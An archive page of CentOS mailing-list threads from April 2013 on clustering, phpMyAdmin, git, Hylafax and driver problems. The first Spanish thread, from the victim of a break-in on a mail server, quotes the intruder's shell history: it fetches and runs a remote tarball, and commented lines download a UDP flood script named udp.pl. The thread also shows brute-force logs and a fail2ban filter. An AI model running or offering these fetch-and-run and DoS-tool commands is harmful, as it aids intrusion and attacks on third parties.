Re: [CentOS-es] Servidor Scaneado por un diccionario de datos en postfix+dovecot
Podías considerar que ese servidor ya esta tomado podrías y seguirían haciéndolo mientras más seguridad le pongas más trabajo le daras pero seguirán con lo mismo creo q debes considerar darle de baja, y armar Otro servidor en paralelo con otra ip publica pero con otra protección y cerrando algunos puertos. El abr 5, 2013 10:12 a.m., Luis Alberto Roman Aguirre luisroma...@hotmail.com escribió: Buenas amigos Listeros: Retomando el tema del servidor de correos, perdón por el retraso, y agradeciendo por la respuesta a:José María Terry Jiménez,Jesus Armando Uch Canu,Jose Fernández Rodríguez,Francesc Guitart ...a la LISTA en GENERAL ..y si me olvide de alguien mil disculpas. Bueno, es comento que los días posteriores fue tanto el escaneo que al final tomaron posesión de mi servidor a través de un usuario el cual borre pero nada tuve que formatear el servidor todo de cero de nuevo.Pero todo esto paso (CREO YO) , por un un usuario el cual descargo y ejecuto este archivo: wget www.csservers.ro/csservers_redirecte_linux_hlds.tar.gz tar -pxzf csservers_redirecte_linux_hlds.tar.gz ps x killall screen ps x free -m screen cd csservers_redirecte_linux_hlds ./start cd .. #wget http://y2khom3.evonet.ro/udp.pl #wget www.buble.biz/alinftp/udp.pl #wget www.packetstormsecurity.org/DoS/udp.pl #ps x #cd /tmp #ls -a #w Ahora les detallo que ingresaron por un usuario el cual hace reenvio de correos a nivel local el cual no tenia contraseña, en el nuevo servidor le puse contraseña a todos los usuarios y demas con caracteres(mayusculas,minusculas y numeros). Lo que me sorprende fue aun despues de reinstalar el centos , creo ya que me agarraron de punto , porque note que sigo siendo escaneado por la misma lista antes de la reinstalacion les copio parte y les adjunto en txt:dovecot: Authentication Failures:base: 1376 Time(s)root: 52 Time(s)postmaster rhost=190.210.136.21 : 32 Time(s)mlizana rhost=10.1.0.28 : 20 Time(s)aa rhost=113.162.161.245 : 18 Time(s)admin rhost=183.60.20.40 : 14 Time(s)mconde: 10 Time(s)test rhost=183.60.20.40 : 10 Time(s)admin1 rhost=183.60.20.40 : 8 Time(s)dedicated rhost=183.60.20.40 : 8 Time(s)html rhost=183.60.20.40 : 8 Time(s)user1 rhost=183.60.20.40 : 8 Time(s)bdsistemas: 6 Time(s) La ip segun lo investigado es de China: http://whatismyipaddress.com/ip/183.60.20.40 y salio esto:(ojo hay otro router que salio mientras escribía es este http://201.77.5.191/ de Brazil)General IP InformationIP:183.60.20.40Decimal:3074167848Hostname:183.60.20.40ISP:ChinaNet Guangdong Province NetworkOrganization:ChinaNet Guangdong Province NetworkServices:None detectedType:BroadbandAssignment:Static IPBlacklist:Geolocation InformationCountry:China State/Region:GuangdongCity:GuangzhouLatitude:23.1167 (23° 7′ 0.12″ N)Longitude:113.25 (113° 15′ 0.00″ E) Por recomendación de los ya mencionados amigos instale el fail2ban pero creo que no hace nada o bien algo estoy haciendo mal ,posteo configuracion:Jail.conf[dovecot-pop3imap]enabled = truefilter = dovecot-pop3imapaction = iptables-multiport[name=dovecot-pop3imap, port=pop3,pop3s,imap,imaps, protocol=tcp] sendmail-whois[name=dovecot-pop3imap, dest=root, sender=u...@xxx.xxx]logpath = /var/log/maillogmaxretry = 2#findtime = 600bantime = 5200 En la carpeta filter.d/dovecot-pop3imap.conf tengo esto:[Definition]failregex = dovecot: auth-worker\(default\): sql\(.*,HOST\): unknown userdovecot: (pop3|imap)-login: Aborted login \(.*\): .*, \[HOST\]dovecot: (pop3|imap)-login: Disconnected \(auth failed, .*\): .*, \[HOST\]dovecot: auth\(default\): passdb\(.*,HOST\)\: Attempted login with password having illegal charsdovecot: (pop3|imap)-login: Disconnected \(auth failed, .*\): .*, \[HOST\]dovecot: (pop3|imap)-login: Aborted login: .*, \[HOST\]ignoreregex = La cosa que los escaneos que me hacen al dovecot el fail2ban no tiene idea de ellos, algo estoy haciendo mal?, estoy por probar el OSSEC, pero si hay otra herramienta o bien algo mas que se pueda hacer, ya que ser victima de nuevo y lo peor que me baneen en la black list para una empresa que depende del correo es lo peor que les puede suceder, hablo por la experiencia amigos. Gracias por la ayuda , por leer este mail, y por soportarme amigos, desde ya muchas gracias por sus respuestas.PDT:prometo responder como me fue , asi ayudar a alguien mas que pueda tener este problema Atte. Luis Roman ___ CentOS-es mailing list CentOS-es@centos.org http://lists.centos.org/mailman/listinfo/centos-es ___ CentOS-es mailing list CentOS-es@centos.org http://lists.centos.org/mailman/listinfo/centos-es
Re: [CentOS-es] Servidor Scaneado por un diccionario de datos en postfix+dovecot
, .*\): .*, \[HOST\]dovecot: auth\(default\): passdb\(.*,HOST\)\: Attempted login with password having illegal charsdovecot: (pop3|imap)-login: Disconnected \(auth failed, .*\): .*, \[HOST\]dovecot: (pop3|imap)-login: Aborted login: .*, \[HOST\]ignoreregex = La cosa que los escaneos que me hacen al dovecot el fail2ban no tiene idea de ellos, algo estoy haciendo mal?, estoy por probar el OSSEC, pero si hay otra herramienta o bien algo mas que se pueda hacer, ya que ser victima de nuevo y lo peor que me baneen en la black list para una empresa que depende del correo es lo peor que les puede suceder, hablo por la experiencia amigos. Gracias por la ayuda , por leer este mail, y por soportarme amigos, desde ya muchas gracias por sus respuestas.PDT:prometo responder como me fue , asi ayudar a alguien mas que pueda tener este problema Atte. Luis Roman ___ CentOS-es mailing list CentOS-es@centos.org http://lists.centos.org/mailman/listinfo/centos-es ___ CentOS-es mailing list CentOS-es@centos.org http://lists.centos.org/mailman/listinfo/centos-es __ Información de ESET NOD32 Antivirus, versión de la base de firmas de virus 8230 (20130415) __ ESET NOD32 Antivirus ha comprobado este mensaje. http://www.eset.com ___ CentOS-es mailing list CentOS-es@centos.org http://lists.centos.org/mailman/listinfo/centos-es
Re: [CentOS-es] Servidor Scaneado por un diccionario de datos en postfix+dovecot
El 15 de abril de 2013 13:26, t...@hostigal.com escribió: Porque nos llegan los emails de todos a todos Saludos CELESTINO BARRIENTOS PEREZ Dpto. de Gestión de Cuentas t...@hostigal.com C/Rosalía de Castro 31, Entr. Dcha Milladoiro (Ames) Telf. 981 524 769 / Fax 981 935 338 www.hostigal.com www.softigal.com Porque así funcionan las listas de correo como a la que te suscribiste -- Diego - Yo no soy paranoico! (pero que me siguen, me siguen) ___ CentOS-es mailing list CentOS-es@centos.org http://lists.centos.org/mailman/listinfo/centos-es
Re: [CentOS] No more support for chrome/chromium on rhel6
Is there any chance CentOS might add Chromium to extras repo? See below. Post from Hirakendu: https://groups.google.com/a/chromium.org/forum/?fromgroups#!topic/chromium-discuss/I_ZFDJqdiyA --- I have put up some scripts for building current Chromium versions (26 and 27) on EL 6 at https://github.com/hirakendu/chromium_el_builder . See the readme for details. Due to the large file size, the current RPM chromium-26.0.1410.63-192696.x86_64.rpm, built on CentOS 6.4, can be obtained by downloading the project archive.Please note that this is only for the time being and I do not intend to actively maintain it, but I hope it may help others. A couple of patches may be merged as well. Aside, thanks to Paweł for maintaining the excellent chromium ebuilds for Gentoo Linux (which I have been happily using for several years) that helped clarify some of the build steps, in addition to the official build instructions at chromium.org. -- Robert Arkiletian Eric Hamber Secondary, Vancouver, Canada ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] Cluster SW
Hi, I want to configure Fail over cluster. With Regards and good wishes. V.SANTOSH From: Woehrle Hartmut SBB CFF FFS (Extern) hartmut.woeh...@sbb.ch To: CentOS mailing list centos@centos.org Sent: Thursday, April 11, 2013 4:05 PM Subject: Re: [CentOS] Cluster SW Hi, How to download Cluster SW and how to configure clustering in CentOS. With Regards and good wishes. V.SANTOSH What do you want to cluster (disks, services, data,...) How (failover, loadbalancing, master-slave,...) Hartmut ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] Cluster SW
Greetings, On Mon, Apr 15, 2013 at 2:07 PM, santosh venkataswamy vs_p...@yahoo.comwrote: Hi, I want to configure Fail over cluster. You need RHCS (paid subsription) or Centos -- Regards, Rajagopal ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] Cluster SW
Hi Hi, I want to configure Fail over cluster. With Regards and good wishes. V.SANTOSH In this case you should look in the Highavailablity and Highavailability-Management groups Especially the packages heartbeat and gfs2-utils Best Regards Hartmut Hi, How to download Cluster SW and how to configure clustering in CentOS. With Regards and good wishes. V.SANTOSH What do you want to cluster (disks, services, data,...) How (failover, loadbalancing, master-slave,...) Hartmut ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] trying to recover an audio CD...
Fred Smith fre...@fcshome.stoneham.ma.us wrote: I'm trying to recover data from an audio cd. it is a recording of a live session, made on a professional cd recorder, on the fly. Do you have any working CD from that drive? If yes, you could call: cdrecord -minfo to get the state and to find out whether it writes in TAO mode. (-minfo is a shortcut for -media-info). apparently, instead of stopping it and fixating the disc, someone turned off the power. oops. I know that wodim will fixate a disk as long as it was otherwise properly terminated (I've done it more than once), but this one it won't fixate. depending on the drive I try it in, I get different messages, but in either case, it remains unfixated. wodim is a defective variant from an extremely outdated cdrecord (taken from a cdrecord from September 2004). - Did you try the original software? - Is it possible to use the original drive that was used for writing? so i've tried reading it with cdparanoia, but it can't do anything with it, or not that I've figured out how to do. cdparanoia is a patch on a cdda2wav version from 1997. There was never an update on the cdda2wav code and development stopped in 2001. Don't expect cdparanoia to be able to read such disks, as the _read_ properties in cdparanoia are generally bad compared to a recent cdda2wav. Note that after the development for cdparanoia stopped around 2000/2001, Heiko Eißfeld and I took the paranoia code (the code in cdparanoia above the read layer that is responsible for retries and result rating) out of cdparanoia, made a portable library from it and added it to cdda2wav. Your problem is that cdparanoia will never read a TOC-less disk and that the dead fork from a September 2004 cddda2wav called icedax is full of bugs. The real cdda2wav has a compile option to set up a virtual TOC, but if you ever like to read a CD without a TOC, you not only need to tell cdda2wav the TOC by exiting the compiled in TOC, but you also need to kill any hostile software on your computer that tries to access CDs in an unapropriate way, such as hald or it's successors. Once such a program did try to access a problematic CD, you will never be able to access the CD unless you reload it - which will result in a new access attempt :-( If the CD has a PMA (which I expect from writing in TAO mode), the disk should be readable by cdda2wav if you use a drive that understands the PMA. Jörg -- EMail:jo...@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin j...@cs.tu-berlin.de(uni) joerg.schill...@fokus.fraunhofer.de (work) Blog: http://schily.blogspot.com/ URL: http://cdrecord.berlios.de/private/ ftp://ftp.berlios.de/pub/schily ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] Cluster SW
Hi, Thanks . I was able to ger the sw . Do you have system-config-cluster command in CentOS. Could you share some howtos on creating a failover cluster in CentOS. With Regards and good wishes. V.SANTOSH From: Woehrle Hartmut SBB CFF FFS (Extern) hartmut.woeh...@sbb.ch To: CentOS mailing list centos@centos.org Sent: Monday, April 15, 2013 2:49 PM Subject: Re: [CentOS] Cluster SW Hi Hi, I want to configure Fail over cluster. With Regards and good wishes. V.SANTOSH In this case you should look in the Highavailablity and Highavailability-Management groups Especially the packages heartbeat and gfs2-utils Best Regards Hartmut Hi, How to download Cluster SW and how to configure clustering in CentOS. With Regards and good wishes. V.SANTOSH What do you want to cluster (disks, services, data,...) How (failover, loadbalancing, master-slave,...) Hartmut ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] Cluster SW
Hello, You can have a look on http://www.centos.org/docs/4/html/rh-cs-en-4/ch-software.html. On Mon, Apr 15, 2013 at 3:50 PM, santosh venkataswamy vs_p...@yahoo.comwrote: Hi, Thanks . I was able to ger the sw . Do you have system-config-cluster command in CentOS. Could you share some howtos on creating a failover cluster in CentOS. With Regards and good wishes. V.SANTOSH From: Woehrle Hartmut SBB CFF FFS (Extern) hartmut.woeh...@sbb.ch To: CentOS mailing list centos@centos.org Sent: Monday, April 15, 2013 2:49 PM Subject: Re: [CentOS] Cluster SW Hi Hi, I want to configure Fail over cluster. With Regards and good wishes. V.SANTOSH In this case you should look in the Highavailablity and Highavailability-Management groups Especially the packages heartbeat and gfs2-utils Best Regards Hartmut Hi, How to download Cluster SW and how to configure clustering in CentOS. With Regards and good wishes. V.SANTOSH What do you want to cluster (disks, services, data,...) How (failover, loadbalancing, master-slave,...) Hartmut ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos -- http://linuxmantra.com ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] phpmyadmin location
On Sat, Apr 13, 2013 at 1:33 PM, Bruce Whealton br...@futurewaveonline.comwrote: Hello all, So, I installed phpmyadmin from the yum package manager. I am not sure where it would be installed. In other words, I don't know how to reach I'll figure it's the package from EPEL which is dropped into /usr/share/phpMyAdmin/ it in my browser. Accessing pMa in the browser is unrelated to where it actually resides on disk. If you look in /etc/httpd/conf.d/ you'll likely find phpMyAdmin.conf which is what you're really after. Try plugging in http://your_ip_or_domain_here/phpMyAdmin/ and see what you get. Can someone help me, please, Thanks, Bruce ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos -- ---~~.~~--- Mike // SilverTip257 // ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] Cluster SW
On 04/15/2013 05:19 AM, Woehrle Hartmut SBB CFF FFS (Extern) wrote: Hi Hi, I want to configure Fail over cluster. With Regards and good wishes. V.SANTOSH In this case you should look in the Highavailablity and Highavailability-Management groups Especially the packages heartbeat and gfs2-utils Best Regards Hartmut Heartbeat is deprecated and has not and will not be developed any further. Please do not use heartbeat. Use corosync with either pacemaker or cman + rgmanager (rhcs). -- Digimer Papers and Projects: https://alteeve.ca/w/ What if the cure for cancer is trapped in the mind of a person without access to education? ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] Cluster SW
That's for CentOS 4 which is EOL. It's much better to use CentOS 6. On 04/15/2013 06:47 AM, Vishesh Kumar wrote: Hello, You can have a look on http://www.centos.org/docs/4/html/rh-cs-en-4/ch-software.html. On Mon, Apr 15, 2013 at 3:50 PM, santosh venkataswamy vs_p...@yahoo.comwrote: Hi, Thanks . I was able to ger the sw . Do you have system-config-cluster command in CentOS. Could you share some howtos on creating a failover cluster in CentOS. With Regards and good wishes. V.SANTOSH From: Woehrle Hartmut SBB CFF FFS (Extern) hartmut.woeh...@sbb.ch To: CentOS mailing list centos@centos.org Sent: Monday, April 15, 2013 2:49 PM Subject: Re: [CentOS] Cluster SW Hi Hi, I want to configure Fail over cluster. With Regards and good wishes. V.SANTOSH In this case you should look in the Highavailablity and Highavailability-Management groups Especially the packages heartbeat and gfs2-utils Best Regards Hartmut Hi, How to download Cluster SW and how to configure clustering in CentOS. With Regards and good wishes. V.SANTOSH What do you want to cluster (disks, services, data,...) How (failover, loadbalancing, master-slave,...) Hartmut ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos -- Digimer Papers and Projects: https://alteeve.ca/w/ What if the cure for cancer is trapped in the mind of a person without access to education? ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] Cluster SW
On 04/15/2013 04:37 AM, santosh venkataswamy wrote: Hi, I want to configure Fail over cluster. With Regards and good wishes. V.SANTOSH What service(s) are you trying to make fail-over? The more detail you provide, the better advise we can give. This is a tutorial for making virtual machines fail-over. If you want to make another service fail-over, it should still help you understand how RHCS works; https://alteeve.ca/w/2-Node_Red_Hat_KVM_Cluster_Tutorial -- Digimer Papers and Projects: https://alteeve.ca/w/ What if the cure for cancer is trapped in the mind of a person without access to education? ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] New motherboard - kernel panic
On 4/12/2013 6:53 PM, John R Pierce wrote: On 4/12/2013 2:33 PM, Bowie Bailey wrote: I had to replace the motherboard on one of my CentOS 4 systems and am now getting a kernel panic. what chipset and storage controller was the old board? what chipset and storage controller is on the new one? The old board was an ASUS A8N-VM CSM with the NVIDIA nForce 430 chipset. The new board is an ASRock A785GM-LE board with the AMD SB710 chipset. -- Bowie ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] phpmyadmin location
Hi you tried with this command: find / -name phpmyadmin or find / -name phpMyAdmin this is for know where is phpmyadmin 2013/4/15 SilverTip257 silvertip...@gmail.com On Sat, Apr 13, 2013 at 1:33 PM, Bruce Whealton br...@futurewaveonline.comwrote: Hello all, So, I installed phpmyadmin from the yum package manager. I am not sure where it would be installed. In other words, I don't know how to reach I'll figure it's the package from EPEL which is dropped into /usr/share/phpMyAdmin/ it in my browser. Accessing pMa in the browser is unrelated to where it actually resides on disk. If you look in /etc/httpd/conf.d/ you'll likely find phpMyAdmin.conf which is what you're really after. Try plugging in http://your_ip_or_domain_here/phpMyAdmin/ and see what you get. Can someone help me, please, Thanks, Bruce ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos -- ---~~.~~--- Mike // SilverTip257 // ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos -- *Rodrigo Pichiñual * *Ingeniero en Computación* *87272971 * rodrigo.pichin...@gmail.com / rodr...@latitud33.cl rodrigo.pichin...@gmail.com ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] phpmyadmin location
On Sat, Apr 13, 2013 at 11:03 PM, Bruce Whealton br...@futurewaveonline.com wrote: Hello all, So, I installed phpmyadmin from the yum package manager. I am not sure where it would be installed. In other words, I don't know how to reach it in my browser. By default, the rpm installation creates an Apache Alias /phpmyadmin (take a look at the httpd.conf file). You can access it with http://ip_number/phpmyadmin ip_number can be localhost, DNS name, or ip number. Follow the common password policy ( 8 chars alpha numeric upper/lower case). In case this system is on an Internet facing network, I would suggest you put some kind of access control on the directory e.g. .htaccess Basic Auth. HTH -- Arun Khan Sent from my non-iphone/non-android device ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
[CentOS] upload a file to new github repository
Though I've used version control systems before and even set up a couple over the years, and though it was simple to setup a github repository (which I did just a couple minutes ago), I can't figure out how to upload the first file to it. I'm logged in, on the repository's home page, but can't see an option for that. I also read instructions for set up on the web and the git manpage, but no help there. Anybody here know to put a code file into the repository? Thanks. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] upload a file to new github repository
Sounds like you're trying to add the file from the web interface. Usually you add the files via the filesystem you've cloned the repo to. Ex: git clone https://git.com/username/my-repo cd my-repo [edit/add files] git status # to preview your chnages git commit -mAdding new and changed files to my repo git push Then go to https://git.com/username/my-repo and you should see the changes. I'm assuming you're putting all your changes in your master branch. I guess you can files via the web interface, but I've never done that. ...adam Adam Wead Systems and Digital Collections Librarian Rock and Roll Hall of Fame and Museum 216.515.1960 (t) 215.515.1964 (f) On Mon, Apr 15, 2013 at 11:12 AM, ken geb...@mousecar.com wrote: Though I've used version control systems before and even set up a couple over the years, and though it was simple to setup a github repository (which I did just a couple minutes ago), I can't figure out how to upload the first file to it. I'm logged in, on the repository's home page, but can't see an option for that. I also read instructions for set up on the web and the git manpage, but no help there. Anybody here know to put a code file into the repository? Thanks. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
[CentOS] Asterisk, IAXModem and Hylafax
Arch = x86_64 OS = CentOS-6.3 (FreePBX) Asterisk = 11.3.0 (FreePBX) Hylafax+ = 5.5.3 (epel) I am installing an Asterisk server with the intent of having it act as our fax server. The Asterisk system was installed using the current FreePBX distro which is reputedly based on CentOS-6.3. I have installed Hylafax+ from epel and I have built and packaged IAXModem-1.2.0 for CentOS-6 using mock and installed that on the Asterisk host. I am past the point of setting up Asterisk and configuring extensions and users. I am able to place and receive internal calls to and from SIP devices and place and receive external calls over a PSTN analogue trunk. The echo generated by the SIP clients is terrible but that problem can wait until I get to dealing with voice service implementation. At the moment I am trying to get Hylafax configured. I have done this in the past albeit for systems using external serial modems. I am at the point of running the faxstup utility which builds the necessary hylafax configuration files. I am getting these errors from the utility: Setting Ghostscript font path in /etc/hylafax/hyla.conf. Warning: /usr/local/lib/ghostscript/fonts does not exist or is not a directory! The directory /usr/local/lib/ghostscript/fonts does not exist or this file is not a directory. This is the directory where the HylaFAX client applications expect to locate font metric information to use in formatting ASCII text for submission as facsimile. Without this information HylaFAX may generate illegible facsimile from ASCII text. Warning: /usr/share/ghostscript/8.70/Resource/Font does not exist or is not a directory! The directory /usr/share/ghostscript/8.70/Resource/Font does not exist or this file is not a directory. This is the directory where the HylaFAX client applications expect to locate font metric information to use in formatting ASCII text for submission as facsimile. Without this information HylaFAX may generate illegible facsimile from ASCII text. Warning: /usr/share/ghostscript/fonts does not exist or is not a directory! The directory /usr/share/ghostscript/fonts does not exist or this file is not a directory. This is the directory where the HylaFAX client applications expect to locate font metric information to use in formatting ASCII text for submission as facsimile. Without this information HylaFAX may generate illegible facsimile from ASCII text. These packages are installed: Installed Packages ghostscript.x86_64 8.70-14.el6_3.1 @anaconda-CentOS-201207061011.x86_64/6.3 ghostscript-fonts.noarch 5.50-23.1.el6 @anaconda-CentOS-201207061011.x86_64/6.3 Can anyone tell me what package I am missing or what else might be causing the problem? I realize that this is only tangentially a CentOS question so I crave the list's forbearance. -- *** E-Mail is NOT a SECURE channel *** James B. Byrnemailto:byrn...@harte-lyne.ca Harte Lyne Limited http://www.harte-lyne.ca 9 Brockley Drive vox: +1 905 561 1241 Hamilton, Ontario fax: +1 905 561 0757 Canada L8E 3C3 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
[CentOS] gnumeric spreadsheets for US taxes
For years I've been doing my (US) taxes, along with the state and local taxes, using gnumeric. I decided I should share what I've done with others. So grab the package if you want... from: https://github.com/gebser/US-taxes-gnumeric.git ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] upload a file to new github repository
Hey, fellow Cleveland dude! Thanks much. That worked fine, though I did have to do a git add after adding file(s) in. It got the files where they needed to go. You might have noticed another post here from me about it, but what I put out there was a gnumeric workbook I've been using for a long time to do my taxes-- Federal, state of Ohio, and local (which you as a Cleveland guy know as RITA). So if you haven't done your taxes yet, it might help. https://github.com/gebser/US-taxes-gnumeric.git Thanks again. On 04/15/2013 11:23 AM Adam Wead wrote: git clonehttps://git.com/username/my-repo cd my-repo [edit/add files] git status # to preview your chnages git commit -mAdding new and changed files to my repo git push ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
[CentOS] ATI video driver problems
User got upgraded to 6.4. Graphical mode video fails. It's an AMD (nee ATI) RV620 (FirePro 2260). So I finished upgrading everything, including kmod-fglrx. Based on the xorg.conf's on there, it's been using the fglrx. Now, in Xorg.0.log, it tells me no supported AMD display adapters were found. I've been on-and-off googling for hours, and can't figure out if the legacy kmod-nvidia from elrepo will work: their info *ONLY* lists Radeon cards, and I can't figure out what this damn thing is. Oh, lspci -v tells me it's ATI device 2343. Anyone know what this card is like (AMD shows three different models of the same name, and I have no idea which it is, and none uses a Radeon name), and what driver I might use, or do I have to downgrade X mark, extremely tired of his user's machine ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] Asterisk, IAXModem and Hylafax
- Original Message - Arch = x86_64 OS = CentOS-6.3 (FreePBX) Asterisk = 11.3.0 (FreePBX) Hylafax+ = 5.5.3 (epel) ... At the moment I am trying to get Hylafax configured. I have done this in the past albeit for systems using external serial modems. I am at the point of running the faxstup utility which builds the necessary hylafax configuration files. I am getting these errors from the utility: Setting Ghostscript font path in /etc/hylafax/hyla.conf. Warning: /usr/local/lib/ghostscript/fonts does not exist or is not a directory! ... These packages are installed: Installed Packages ghostscript.x86_64 8.70-14.el6_3.1 @anaconda-CentOS-201207061011.x86_64/6.3 ghostscript-fonts.noarch 5.50-23.1.el6 @anaconda-CentOS-201207061011.x86_64/6.3 I've run into this quite often. Typically I just create a symlink to where the font data is, then rerun 'faxsetup'. Ex: ln -s /usr/share/ghostscript/8.70/lib /usr/share/ghostscript/fonts Then, all is well. Also, unrelated, ensure you disabled tokens in your Asterisk IAX config. Otherwise, iaxmodem will not register as it does not support tokens at this time. --Tim ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] ATI video driver problems
On 15/04/13 16:57, m.r...@5-cent.us wrote: User got upgraded to 6.4. Graphical mode video fails. It's an AMD (nee ATI) RV620 (FirePro 2260). So I finished upgrading everything, including kmod-fglrx. Based on the xorg.conf's on there, it's been using the fglrx. Now, in Xorg.0.log, it tells me no supported AMD display adapters were found. I've been on-and-off googling for hours, and can't figure out if the legacy kmod-nvidia from elrepo will work: their info *ONLY* lists Radeon cards, and I can't figure out what this damn thing is. Oh, lspci -v tells me it's ATI device 2343. Anyone know what this card is like (AMD shows three different models of the same name, and I have no idea which it is, and none uses a Radeon name), and what driver I might use, or do I have to downgrade X mark, extremely tired of his user's machine It is no longer supported. The current AMD driver [v13.1] ONLY supports Radeon HD 5000 series and above, with the legacy driver [v13.1 legacy] supporting older Radeon HD 2000, HD 3000 or HD 4000 series cards (I assume yours is a 2000 series card) *BUT* the legacy driver does NOT support X server ABI 13 in the version of Xorg shipped with RHEL 6.4. So your card is not supported by AMD as the version of Xorg server in RHEL 6.4 is too new. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] phpmyadmin location
Rodrigo Pichiñual Norin wrote: Hi you tried with this command: find / -name phpmyadmin or find / -name phpMyAdmin *Very long wait*. Try a) locate phpmyadmin, or b) rpm -ql phpmyadmin, and get a list of where it put everything. mark this is for know where is phpmyadmin 2013/4/15 SilverTip257 silvertip...@gmail.com On Sat, Apr 13, 2013 at 1:33 PM, Bruce Whealton br...@futurewaveonline.comwrote: Hello all, So, I installed phpmyadmin from the yum package manager. I am not sure where it would be installed. In other words, I don't know how to reach I'll figure it's the package from EPEL which is dropped into /usr/share/phpMyAdmin/ it in my browser. Accessing pMa in the browser is unrelated to where it actually resides on disk. If you look in /etc/httpd/conf.d/ you'll likely find phpMyAdmin.conf which is what you're really after. Try plugging in http://your_ip_or_domain_here/phpMyAdmin/ and see what you get. Can someone help me, please, Thanks, Bruce ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos -- ---~~.~~--- Mike // SilverTip257 // ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos -- *Rodrigo Pichiñual * *Ingeniero en Computación* *87272971 * rodrigo.pichin...@gmail.com / rodr...@latitud33.cl rodrigo.pichin...@gmail.com ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] ATI video driver problems
Hi, Ned, Ned Slider wrote: On 15/04/13 16:57, m.r...@5-cent.us wrote: User got upgraded to 6.4. Graphical mode video fails. It's an AMD (nee ATI) RV620 (FirePro 2260). So I finished upgrading everything, including kmod-fglrx. Based on the xorg.conf's on there, it's been using the fglrx. Now, in Xorg.0.log, it tells me no supported AMD display adapters were found. I've been on-and-off googling for hours, and can't figure out if the legacy kmod-nvidia from elrepo will work: their info *ONLY* lists Radeon cards, and I can't figure out what this damn thing is. Oh, lspci -v tells me it's ATI device 2343. Anyone know what this card is like (AMD shows three different models of the same name, and I have no idea which it is, and none uses a Radeon name), and what driver I might use, or do I have to downgrade X It is no longer supported. The current AMD driver [v13.1] ONLY supports Radeon HD 5000 series and above, with the legacy driver [v13.1 legacy] supporting older Radeon HD 2000, HD 3000 or HD 4000 series cards (I assume yours is a 2000 series card) *BUT* the legacy driver does NOT support X server ABI 13 in the version of Xorg shipped with RHEL 6.4. So your card is not supported by AMD as the version of Xorg server in RHEL 6.4 is too new. That's what I was coming to think - the one thing that had me stopped was what it *was*. Do I understand you to be saying that this is a Radeon HD 2xxx (and why *three* names, two from ATI?)? Also, it appears that you're saying I need to downgrade his X (all of it?), and remove the kmod-fglrx, and install the legacy (is that the kmod-fglrx93? Thanks for the quick response - I really need to get his video up mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] New motherboard - kernel panic
On 4/12/2013 5:33 PM, Bowie Bailey wrote: I had to replace the motherboard on one of my CentOS 4 systems and am now getting a kernel panic. When I try to boot up, I get this: Volume group VolGroup00 not found ERROR: /bin/lvm exited abnormally! (pid 448) mount: error 6 mounting ext3 mount: error 2 mounting none switchroot: mount failed: 22 umount /initrd/dev failed: 2 Kernel panic - not syncing: Attempted to kill init! (I apologize for any typos, I don't have a way to copy/paste from that screen) I can boot up with the boot CD, go into rescue mode and browse the files, so I know the drives are ok. I found some stuff online saying that I should recreate my initrd from rescue mode if the motherboard changed. I tried this, but am still getting the same results. Anyone have any ideas here? I can rebuild the machine if I have to, but that's a last resort. The old board was an ASUS A8N-VM CSM with the NVIDIA nForce 430 chipset. The new board is an ASRock A785GM-LE board with the AMD SB710 chipset. Thanks, -- Bowie ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] upload a file to new github repository
